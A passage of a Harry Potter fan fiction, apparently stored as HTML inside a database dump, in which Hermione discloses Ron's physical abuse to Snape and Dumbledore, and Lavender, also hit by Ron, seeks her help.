toward Harry, &#8220;Now would it?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It has nothing to do with him,&#8221; Hermione took another breath, one to steady her nerves.&nbsp; &#8220;It has to do with me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re such a selfish bitch.&#8221; Ron snapped.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m the one that&#8217;s selfish?!!&#8221; She suddenly yelled out.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron stepped forward again, &#8220;Don&#8217;t you dare raise your voice at me!&#8221;&nbsp; <b><i>WHACK</i></b>, Ron was hit on the back of the head again.&nbsp; &#8220;OWW!! Would you stop that?!&#8221;&nbsp; <b><i>WHACK</i></b>\n\n</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I would start showing some respect to Hermione if I were you Weasley.&#8221; Harry replied with a smirk, &#8220;Those two seem to be whack happy.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>With Ron holding his head with both hands, he turned and looked at both Crabbe and Goyle who each had a French baguette in their hands, and huge happy grins on their faces.&nbsp; His eyes narrowed, &#8220;How dare you two betray me and go against me like this!&nbsp; I&#8217;ll have your hea&#8212;&#8221; <b><i>WHACK</i></b></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ron it&#8217;s over, I don&#8217;t ever want you to come near me.&nbsp; Ever again.&#8221;&nbsp; Hermione said interrupted Ron and the other two boys.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Whatever, you&#8217;re such a worthless piece of shit, who&#8217;d want you anyway.&#8221; Ron was starting to feel a little dizzy from being hit on the head.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t need you Ron; you were the one who needed me.&nbsp; But I will not be your toy anymore.&#8221; Even though Hermione was afraid of Ron and was shaking on the inside, she somehow found the courage to keep saying how she felt and not show that she was afraid of him.&nbsp; Grumbling Ron turned, cursing quietly under his breath and left the hospital.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione looked so very exhausted to Harry, and he moved over closer to her and took her hand in his.&nbsp; &#8220;That was the very first step, and it was good.&nbsp;&nbsp; Now you need to tell someone about what he has done.&nbsp; He can not get away with this.&#8221;&nbsp; He saw Hermione nod.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;All right Harry, I will.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron walked through the halls thinking, his face was etched in anger.&nbsp;&nbsp; She would regret that decision, oh yes.&nbsp; He would make her pay and dearly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ron.&#8221; Lavender shouted through the hall running up to him.&nbsp; &#8220;I didn&#8217;t know you were back, why didn&#8217;t you come and find me?&#8221;&nbsp; She smiled adoringly.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron spun around and glared hard at Lavender, &#8220;Not everything revolves around you, the sooner you realize that the better.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Lavender was shocked as he had never spoken to her like that, &#8220;Ron, what&#8217;s the matter, are you all right?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No I&#8217;m not.&#8221; He said plainly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well maybe if you talk to me about it, we can solve your problem.&#8221; She smiled.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron just shook his head, &#8220;I don&#8217;t want to talk about it.&nbsp; It doesn&#8217;t concern you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ron if it concerns you it concerns me too,&#8221; she was insisting.</p>\n\n<p>&nbsp;</p>\n\n<p>A loud growl erupted from him, &#8220;How thick is that head of yours?&nbsp; Can&#8217;t you grasp the simple idea that I don&#8217;t want to talk to you.&nbsp; So get away from me and leave me alone.&#8221; He turned around to leave. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But Ron I&#8230;&#8221; She tried to stop him and put her hand on his shoulder.&nbsp; Without warning Ron, almost faster than the speed of light, spun half way around slamming the back of his fist into Lavender&#8217;s cheek, sending her sliding across the floor on her back.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Serves you right you little tart.&#8221; He spat out cruelly and continued on his way.</p>\n\n<p>&nbsp;</p>\n\n<p>On her back, Lavender was shaking as the tears were almost violently falling from her eyes.&nbsp; She was so confused.&nbsp; What had just happened?&nbsp; She turned over on her side, curling up into a ball.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>After being sent by Harry and Hermione to find someone of authority, Crabbe and Goyle rushed back into the hospital wing with the first Professor they could find which happened to be Professor Snape.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What seems to be the trouble?&#8221; Snape asked looking at them.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione glanced up at the professor, &#8220;I have a confession to make.&#8221;&nbsp; She saw Snape&#8217;s brows come together as the concentrated on what she was going to say.&nbsp; &#8220;I&#8217;ve been having a really bad problem, and I didn&#8217;t know what to say or how to say it.&nbsp; But well&#8230;I&#8230;&#8221;&nbsp; Her eyes were stinging with the sensation of fresh tears forming. &#8220;Ron Weasley, he would&#8230;he.&#8221;&nbsp; Hermione concentrated hard; she had to get it out.&nbsp; &#8220;He hurts me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry, Hermione, Crabbe and Goyle both looked at the Professor&#8217;s expressionless face.&nbsp; Would he even believe her?&nbsp;&nbsp; Hermione paused, waiting.</p>\n\n<p>&nbsp;</p>\n\n<p>======</p>\n\n<p>&nbsp;</p>\n\n<p>Well that&#8217;s it for chapter 10,&nbsp; I hope you all enjoyed it and remember to Review.&nbsp; Stay tuned for the last and final chapter of Hidden Beneath.&nbsp; </p>\n\n<p>Thanks, Ryoko Blue ^.^&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n '),
	(24, 11, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="11.%20You%20Are%20Not%20Alone_files/filelist.xml">\n\n<title>Hidden Beneath</title>\n\n<xml> Clean Clean MicrosoftInternetExplorer4 </xml>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n\n\n<p>Disclaimer: Not mine, not mine, not mine. The original HP Characters and situations are not mine.&nbsp; </p>\n\n<p>A/N:&nbsp; This is&nbsp; the second to last chapter of Hidden Beneath, I hope you enjoy it.&nbsp;&nbsp; And after you read this, go and read Heaven&#8217;s new fic called Spanish Surprise, its here at Portkey and at her yahoogroup as well.&nbsp;&nbsp; Happy reading ^.^</p>\n\n<p>Hidden Beneath</p>\n\n<p>Chapter 11&#8212;You Are Not Alone</p>\n\n<p>Hermione continued to wait in what felt like bitter silence, Snape didn&#8217;t show any emotion at all which worried Hermione what if he didn&#8217;t believe her? What if he thinks she&#8217;s just making all this up? </p>\n\n<p>Snape looked at the other three boys in the room and in a calm but firm voice said. &#8220;Can you boys leave us alone? I would like to speak with Miss Granger privately.&#8221;</p>\n\n<p>Without so much as a peep out of them the three boys left the hospital wing. Snape grabbed a chair and pulled it over next to Hermione&#8217;s bed side and sat down. He could see she was very nervous, as she kept ringing her fingers together over and over again. After what seemed like an eternity of silence Snape suddenly spoke. &#8220;How long has this been going on?&#8221; His voice held no malice what so ever.</p>\n\n<p>&#8220;For a long while now.&#8221; Hermione glanced down at her blankets, she wanted hide. </p>\n\n<p>&#8220;Before you say anything else to me, we should go talk to Headmaster Dumbledore.&#8221; Before Hermione could respond he stood. &#8220;I&#8217;ll wait for you outside the door,&#8221; Snape quickly left the hospital wing.</p>\n\n<p>Hermione gulped, she was going to be expelled, she just knew it. Professor Snape didn&#8217;t believe her. She started to get up out of the bed when the nurse left the office coming into the hospital.</p>\n\n<p>&#8220;Where do you think you&#8217;re going?&#8221; The nurse tapped her foot like an annoyed mother.</p>\n\n<p>&#8220;I have to see the Headmaster.&#8221; Hermione answered quietly.</p>\n\n<p>&#8220;Well you have been in here for quite a number of days; I think you are okay to leave. Just remember to take it easy and try not to stress yourself out.&#8221;</p>\n\n<p>With a nod, Hermione gathered up her clothing and went into the bathroom to change. As she pulled her shirt over her head, she tried to control her trembling body. Hermione didn\'t want to be expelled. </p>\n\n<p>She left the infirmary and saw Snape standing outside just as he said he would. With a sinking feeling in her stomach, she saw that Harry was nowhere in sight. Snape motioned for her to follow him and before she knew it, she was standing in front of the staircase that led up to Dumbledore\'s office.</p>\n\n<p>Snape quietly said the password and the two of them were heading into the office. </p>\n\n<p>Snape pointed to a chair. &#8220;Have a seat Miss Granger.&#8221; And he went into the back room. </p>\n\n<p>Hermione could hear muffled talking; she wondered what they were saying. Were they talking about how she must now contact the Weasleys and would be arriving home because she would now be expelled? She sighed, the great distress of it all made her body continue to shake. </p>\n\n<p>Dumbledore, with Snape following quietly behind emerged from the back office. Hermione noticed that Dumbledore seemed greatly comforting as he headed in her direction.</p>\n\n<p> Snape stood near the back of the office as to not seem like he was closing in on the girl, to give her all the room she needed.</p>\n\n<p>Dumbledore sat in the vacant chair next to Hermione, &#8220;You know why you are here?&#8221; He saw Hermione nod. &#8220;You are going to have to tell me exactly what&#8217;s been going on, I need to know the whole story.&#8221; </p>\n\n<p>Hermione took a long deep breath; she opened her mouth to speak but closed it instantly. She was hesitating.</p>\n\n<p>Dumbledore could sense she was having great difficulty, &#8220;Miss Granger, take all the time you need.&#8221; Dumbledore&#8217;s eyes were kind and it made Hermione want to tell him her whole life&#8217;s story.</p>\n\n<p>Hermione took a deep breath, &quot;It started around third year, I had just come back from the library, as I entered the common room I could see Ron was hard at work on a report that was due soon--</p>\n\n<p><i>Hermione headed towards Ron and from her standing position she looked down on him, over his shoulder at the paper he was vigorously writing. The tip of his quill snapped as he wrote and he slammed his fist down in anger.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Damn-it!&quot; he swore, pushing his paper away. It had been very silent and that sudden outburst made Hermione jump a little having being startled, and Ron looked up at her in annoyance. &quot;Something you wanted?&quot; he asked snappishly. His potions essay was due that next day and he still had two feet to go.</i></p>\n\n<p><i></i></p>\n\n<p><i>She smiled comfortingly, &quot;Not really, just seeing how you were doing.&quot; </i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Well I\'ll be fine once I get this done.&quot; Ron shrugged her hand off his shoulder and hunched over his essay again.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Do you want some help?&quot; She offered politely and sat down next to him. &quot;I know how hard potions can be sometimes.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;No! I told you I\'d be fine!&quot; Ron looked up and glared at her. &quot;Maybe if you\'d just leave me the hell alone, I could get some work done.&quot; his tone was cold.</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione\'s eyes narrowed, &quot;Fine, have it your way. I have better things to do anyway.&quot; Still fuming she stood from the sofa and turned to go.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;HEY!&quot; Ron shouted, standing up and catching her arm. &quot;You don\'t talk to me like that!&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Excuse me!?&quot; She ripped her arm from his grasp &quot;I\'ll talk to you only the way you deserve!&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Ron\'s eyes narrowed in anger and before he knew it his arm was raised and he slapped her hard across the cheek. </i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione\'s hand shot up and covered over her now red cheek, she was frozen to the spot. Her eyes were wide, tears were starting to form. She stared at him in disbelief. </i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Hermione...&quot; Ron\'s eyes were wide as well, his jaw hanging open. &quot;Hermione I\'m sorry I didn\'t mean to do that.&quot; He stepped forward and tried to pull her into his arms. He couldn\'t believe he had just done that.</i></p>\n\n<p><i></i></p>\n\n<p><i>She felt a little odd, he had never even laid one finger on her before and now he just slapped her. She stepped back from him, her eyes still wide studying him closely. &quot;Ron... you...I&#8221; she couldn\'t even form the thought in her head.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;I\'m sorry... I swear Hermione it\'ll never happen again I was just mad about this bloody essay and...&quot; Ron felt at a loss for words. &quot;It\'ll never happen again, I promise.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione took a deep breath, she knew he wouldn\'t have done it on purpose. It was just an accident. He normally isn\'t so angry. It was just the pressure that was it. She was sure of it. &quot;It\'s all right Ron, no harm done. It&#8217;s just a little bruise, really. I\'ll be fine.&quot; She smiled weakly</i></p>\n\n<p><i></i></p>\n\n<p><i>Ron nodded, relieved, and successfully pulled her into his arms.</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione patted his shoulder a tad awkwardly, &quot;Well I better let you get back to your essay.&quot; She backed away from him, smiling a little.--</i></p>\n\n<p>Dumbledore could see Hermione was battling her emotions, she was trying hard to keep from crying. He placed a tender hand on her back. &#8220;It&#8217;s alright Miss Granger, you may continue when ready.&#8221; He brought a handkerchief from his drawer and handed it to her. </p>\n\n<p>&#8220;Thank you.&#8221; Hermione accepted the cloth and gently dabbed at her eyes, she felt ready to continue--</p>\n\n<p><i>Ron sat back and patted his full stomach, the house elves had made an especially good lunch that day and he had eaten more than his fill. </i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione finished off what was on her plate and turned glancing at Ron, &quot;That was sure good don\'t you agree Ron?&quot; Hermione said then taking a sip from her glass.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Yes it was.&quot; Ron replied. &quot;You shouldn\'t have taken all that pudding though, enough of that and you\'ll be as fat as Crabbe and Goyle soon.&quot; he dropped his napkin on top of his empty plate.</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione amused shook her head, &quot;Oh as if the helping you had on your plate was tiny as tiny could be.&quot;</i></p>\n\n<p><i>\n\n</i></p>\n\n<p><i>&quot;What?&quot; Ron shot up straight and pinched her arm. </i></p>\n\n<p><i>&quot;Owie&quot; Hermione made a cute little pouty face, &quot;I think I deserve an apology for that.&quot; She turned the other direction, trying to ignore him.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Hey...&quot; Ron moved over on the bench and pulled his arms around her waist. &quot;You\'re not ignoring me are you...&quot; He pulled his lower lip out. &quot;I\'m sorry baby...&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione tilted her head a little looking at him but trying not too, she couldn\'t help the small smile that started to form. &quot;Ah, you know I can\'t stay mad at you, especially when you make that face&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Ron grinned back and was leaning in to kiss her when a voice interrupted them</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Hello Ron, Hermione.&quot; It was Draco Malfoy who had interrupted them. &quot;I\'m sorry to interrupt but I was wondering if you could help me Hermione, I\'m not doing so well in Muggle Studies, so maybe you could well tutor me?&quot; He sounded very hopeful</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;She can\'t.&quot; Ron answered coolly, holding tightly onto Hermione\'s arm. &quot;She\'s busy.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Draco was desperate, &quot;but I really need the tutoring. Please, Hermione what do you say?&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione thought about it and then smiled at Draco, &quot;All right, I have some time Sunday evening, we can go over what you\'re having trouble with then. Meet me in the library around seven?&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Draco\'s face lit up with sudden relief. &quot;Oh yes, thank you. I\'ll be there.&quot; Quite happy he left both Hermione and Ron to themselves and went back to join his table</i></p>\n\n<p><i></i></p>\n\n<p><i>Ron turned back to his girlfriend, raw anger burning in his eyes. &quot;We need to talk.&quot; he said, yanking on her arm and practically dragging her out of the Great Hall. Once outside and down a deserted corridor, he pushed her up against the stone wall. &quot;What the hell do you think you are doing?&quot; </i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione\'s jaw dropped, the force that she hit the wall hurt the back of her head a bit, but she was not going to bring that up right now. She was mad. &quot;What are you talking about?&quot; </i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;I mean you with Malfoy!&quot; Ron leaned in so that his face was almost touching hers. &quot;He doesn\'t want you to tutor him, you idiot! He just wants to sleep with you!&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione pushed him away from her she needed some breathing room &quot;What?! That&#8217;s insane. What makes you even think such a thing?!&quot; </i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;I know how other guys look at you, Hermione.&quot; Ron snarled. &quot;I\'m not blind or stupid like you. He just wants to get in your uniform!&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;As if I would let him!?</i><i> Geeze, Ron give me a little credit. Honestly!&quot; Hermione looked at him, his face was redder than his hair. &quot;You know what you are, jealous that&#8217;s all!&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>SLAP! The sound of his hand hitting her face echoed in the corridor. He glared down at her as a red mark appeared on her face. &quot;Look what you made me do!&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione, she glanced down at the floor for a moment, &quot;what...what did you do that for?&quot; She was stunned into almost silence</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Because you MADE me!&quot;</i><i> Ron roughly grabbed her shoulders and pushed her back against the wall again. &quot;You know when you make me angry that this is what I do!&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>She tried to push him away again, &quot;I...I have to be alone for a moment.&quot; Hermione continued to pry herself from his grasp as tears were threatening to fall</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;No Hermione, I will not leave you alone, because you know what? You\'ll go running straight to Draco Malfoy, won\'t you?&quot; Ron\'s face was so red he looked like he should have smoke coming out of his ears.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;No I won\'t! Please just let go. You\'re hurting me.&quot; She continued to wiggle, &quot;Please Ron.&quot; She pleaded looking up at him.</i></p>\n\n<p><i></i></p>\n\n<p><i>He visibly relaxed, and loosened his grip on her shoulders. &quot;All right, I\'m sorry.&quot; Ron finally said. &quot;Look... how about I buy you lunch in Hogsmeade next time... I\'ll even get you butterbeer.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione rubbed her shoulders where his hands had been they were still aching; she could feel the bruises still forming, &quot;all right.&quot; She nodded, &quot;Only if you want too.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Of course I want to.&quot; Ron put his arms around her again, only he was comforting this time. </i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione stiffened at first but eventually relaxed into him. &quot;I\'d like that.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;All right then.&quot; He said and they started walking away.</i></p>\n\n<p><i></i></p>\n\n<p>Dumbledore watched Hermione carefully, scanning her eyes her face as she continued on with another horrifying report.</p>\n\n<p><i>--Hermione with her nose stuck in her book, concentrated hard on all the material that they would be tested on in History of Magic</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Hey baby.&quot; Ron slid down on the sofa next to her and put his arm around her shoulders.</i></p>\n\n<p><i></i></p>\n\n<p><i>She didn\'t even give him any impression that she knew he was there.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Hey!&quot; Ron shook his arm. &quot;Hermione, I\'m here!&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione looked over at him, &quot;Huh? Oh sorry. There\'s a big test tomorrow I guess I got carried away in the studies.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Ron narrowed his eyes for a moment but forced a smile on his face. &quot;You study too much.&quot; he said, trying to sound affectionate as he pulled the book from her grasp.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Ron!&quot; she tried to grab the book from him, &quot;Come on I have to study, I don\'t want to fail the test tomorrow.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>With a roll of his eyes he then said, &quot;You\'re not going to fail!&quot; Ron snapped, tossing the book to the floor. &quot;Now...&quot; his smile returned. &quot;How about a little quality time for your boyfriend?&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;You can have all the quality time you want after the test tomorrow, and I will fail if I don\'t study.&quot; She bent to retrieve the book from on the floor.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Come on...&quot; Ron made his voice go pleading. &quot;I haven\'t spent any time with you all day and I\'ve been looking forward to this.&quot; He tightened his grip around her waist.</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione looked at Ron for a moment, &quot;We just spent time together this morning. So after the test tomorrow we\'ll have a large break before the next one. Believe it or not it does make sense. In fact you should study yourself; you know you aren\'t doing too well.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;I\'m doing just fine.&quot; Ron\'s eyes had darkened dangerously. &quot;And now I think you and I need to spend some time together.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;I\'m very serious here, Ron I need to study and you need to study.&quot; She moved away from him, Hermione was going to go up to her room where she could have some peace and quiet.</i></p>\n\n<p><i></i></p>\n\n<p><i>Ron made a growling sound in his throat and grabbed her around the waist. He flung her back onto the couch and struck her face. &quot;You\'ll do as I tell you!&quot; Hermione shrieked, the force of his blow felt like she was hitting a concrete wall. Ron grabbed her by the shoulders lifting her off the couch, squeezing tightly shaking her hard. He threw her to the floor.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;You stupid bitch!&quot; he yelled as he struck her again. &quot;You think you can always just talk back to me! I\'m not going to put up with your bullshit anymore!&quot; Ron kicked his leg out and caught her in the stomach.</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione felt like her stomach jumped up into her throat. She clutched her middle tightly feeling very short of breath, &quot;I\'m sorry.&quot; She managed to get out.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;You\'re never sorry.&quot; Ron spat, kicking her once again. &quot;It\'s all your fault this happens, that you make me do this to you. If you would just behave everything would be fine!&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione couldn\'t stop the tears, the immense pain surging through her body at the forces of his kicking. &quot;I\'m sorry, I am... I am.&quot; She sobbed loudly, straining to catch her breath.</i></p>\n\n<p><i></i></p>\n\n<p><i>Ron stopped, his breath coming in short gasps. He looked down at her and was filled with such anger he could hardly control it.</i></p>\n\n<p><i></i></p>\n\n<p><i>He decided he needed to leave; perhaps he could seek comfort in someone else. Turning on his heel, he left the room without speaking another word to her.</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione clutched hard, her fingers scraping at the stone flooring. She was struggling to catch her breath; she tasted something metallic in her mouth and spit. A small amount of blood was now on the floor; her lips were now red with it. She was nothing, she was not worthy of the blood that ran in her veins. She hoped with all her heart that it would just drip out and she would cease to exist.--</i></p>\n\n<p>It took Hermione a few minutes this time; she couldn&#8217;t stop the tears that were flowing freely from her eyes. Dumbledore tried his best to comfort her in her time of need. She eventually told him more scenarios, each one more gruesome than the next. </p>\n\n<p>Dumbledore had waited for her to calm down before he spoke, she was looking up at him her eyes were so very red. </p>\n\n<p>&#8220;Miss Granger, why did you wait so long to tell anyone?&#8221;</p>\n\n<p>Hermione sighed, &#8220;I don&#8217;t know. I probably deserved everything I got, my inferior blood and everything.&#8221; She was glancing at the cloth within her hands.</p>\n\n<p>Dumbledore looked at her, &#8220;People can only make you feel inferior of you let them.&#8221;</p>\n\n<p>&#8220;What do you mean let them?&#8221; Hermione lifted her head, glaring up at the Headmaster. &quot;I didn\'t let them do a damn thing to me; I\'m not as good as everyone else! I\'m a stupid Mudblood.&quot; she looked miserably back down at her hands. </p>\n\n<p>&#8220;Do you really believe that is true?&#8221; He saw Hermione nod vigorously, &#8220;Then if that is so, then why are you here telling me all of this?&#8221;</p>\n\n<p>Hermione sniffled, &#8220;I&#8217;m tired of being hurt.&#8221; She glanced out the window, even the cheerful singing of birds could not lift the dark cloud that shrouded over her life. &#8220;Sometimes I think that death is a much more welcome friend, I often wonder why he just doesn&#8217;t kill me and get it over with? I would much rather be gone from this world than keep living with this day after day.&#8221; This time silent tears trickled down her cheek.</p>\n\n<p>&#8220;Miss Granger,&#8221; Dumbledore&#8217;s voice sounded much like a whisper, it was soft and gentle. &#8220;It&#8217;s the fight to survive that makes us strong, &#8220;true you might think that death is easy, that in it you will feel no pain.&#8221; But it is only theweak that decide to take that route.&#8221; He saw Hermione look up at him, &#8220;I for one do not believe that you are weak, not in the slightest. I believe that there is so much strength inside of you that you don&#8217;t even realize it yourself.&#8221;</p>\n\n<p>Hermione swallowed and glanced down at her fingers again, &#8220;What if you&#8217;re wrong?&#8221;</p>\n\n<p>&#8220;If I&#8217;m wrong then you wouldn&#8217;t have made it this far, you wouldn&#8217;t have been able to tell me what has been happening, it takes strength to do the right thing, even if the right thing is difficult.&#8221;</p>\n\n<p>&#8220;That&#8217;s what Harry said.&#8221; She smiled a little without realizing it.</p>\n\n<p>Dumbledore smiled to himself glad that she did in fact have someone to confide to. &#8220;So you&#8217;ve made friends with someone?&#8221;</p>\n\n<p>Hermione nodded, &#8220;Yes, Harry Potter. He&#8217;s great.&#8221;</p>\n\n<p>&#8220;I am very pleased that he is such a good friend to you.&#8221;</p>\n\n<p><i>&#8216;He&#8217;s more than just a friend.&#8217; </i>Hermione thought to herself. She needed to change the subject, &#8220;What&#8217;s going to happen now?&#8221;</p>\n\n<p>Snape who had not uttered a word until now spoke up, &#8220;The ministry will be contacted, and Mr. Weasley will be taken into custody.&#8221;</p>\n\n<p>&#8220;You mean arrested?!&#8221; Hermione panicked.</p>\n\n<p>&#8220;Not to worry Miss Granger.&#8221; Dumbledore said knowing exactly what Hermione was thinking. &#8220;You will not be hurt anymore.&#8221;</p>\n\n<p>&#8220;How soon will this all happen?&#8221; She took small, short breaths. </p>\n\n<p>Dumbledore leaned back in the chair, &#8220;The Ministry will be contacted immediately, the Department of Domestic Affairs will probably get back to us within an hours time, possibly less.&#8221;</p>\n\n<p>&#8220;I see.&#8221; Hermione lowered her head, looking down at her feet.</p>\n\n<p>&#8220;I want you to set up weekly meetings with Madame Pomfrey, to talk to her about all that has happened, she will help you to be able to get past this and lead a normal, healthy life.&#8221; Dumbledore suggested.</p>\n\n<p>Hermione breathed out, she needed some fresh air. She had to get out of there now. &#8220;Is there anything else?&#8221; </p>\n\n<p>&#8220;Not unless you want to talk some more?&#8221; Dumbledore replied.</p>\n\n<p>She shook her head, &#8220;Oh no&#8230; I think I&#8217;ve done enough talking for today.&#8221; Hermione started to get up.</p>\n\n<p>&#8220;Remember Miss Granger, if you ever want to talk my door is always open,&#8221; Snape said. &#8220;I think I have already mentioned that to you before.&#8221;</p>\n\n<p>Hermione nodded, &#8220;Yes sir you did.&#8221; And without so much as uttering another word, she left Dumbledore&#8217;s office. Slowly, Hermione descended the stairs. She needed to lie down. She heard the faint sound of someone crying, and looked around not really knowing where it was coming from, she shrugged and continued to go down the stairs. The closer to the bottom of the stairs she got the more she could hear the person crying.</p>\n\n<p>She followed the sounds and went around to the little area behind the stairs which was completely hidden if you didn&#8217;t know where to look. There, Hermione saw a blonde head, the persons face was hidden with their hands and their knees had been brought up to act as a kind of table. &#8220;Uh&#8230; excuse me. Are you all right?&#8221;</p>\n\n<p>The blonde head lifted quickly looking at Hermione. Lavender Brown, who looked like she had gotten a taste of something rather hostile, was watching Hermione carefully.</p>\n\n<p>&#8220;Oh it&#8217;s only you. Never mind then.&#8221; Hermione said irritated as she tried to pull herself away from the cove. She didn&#8217;t fail to notice Lavender&#8217;s red cheek and the bruise that was forming around her eye. It looked all too familiar.</p>\n\n<p>&#8220;No wait.&#8221; Lavender nearly shouted. &#8220;Don&#8217;t go, please help me.&#8221;</p>\n\n<p>&#8220;Why should I?&#8221; Hermione said without turning around.</p>\n\n<p>Lavender couldn&#8217;t really form the words yet, she could hardly believe it happened herself. But it did, she couldn&#8217;t go back to the way things were. She now understood what Hermione had to have been going through and probably going through it for a lot longer. &#8220;Ron did this.&#8221; Lavender pointed to her face.</p>\n\n<p>Hermione visibly stiffened; the cold icy feeling traveling up her spine caused her body to shiver. She shook her head trying to clear her thoughts, &#8220;What are you talking about?&#8221; Hermione&#8217;s tone was cold and unfeeling; it held no comfort for the blonde girl sitting all curled up in a dark corner of Hogwarts. &#8220;I have important work to do.&#8221; She started away from Lavender.</p>\n\n<p>&#8220;Hermione, he hit me too.&#8221; </p>\n\n<p>Stopping dead in her tracks, Hermione felt her eyes prickle with fresh tears; she hung her head low. Feeling much worn out and tired, &#8220;So what do you expect me to do about it?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know.&#8221; Lavender was very ashamed of herself, she never would have believed it if it hadn&#8217;t happened to her. &#8220;I am so sorry Hermione, I am so sorry for everything.&#8221;</p>\n\n<p>Hermione turned a bit looking at Lavender, &#8220;Want to go get some hot chocolate?&#8221; she offered.</p>\n\n<p>Lavender felt a bit of relief and nodded, &#8220;I&#8217;d like that, yes.&#8221; </p>\n\n<p>******</p>\n\n<p>&#8220;Do you think she&#8217;s all right?&#8221; Crabbe wondered.</p>\n\n<p>&#8220;I hope so,&#8221; Goyle felt a bit worried.</p>\n\n<p>Harry came running into the 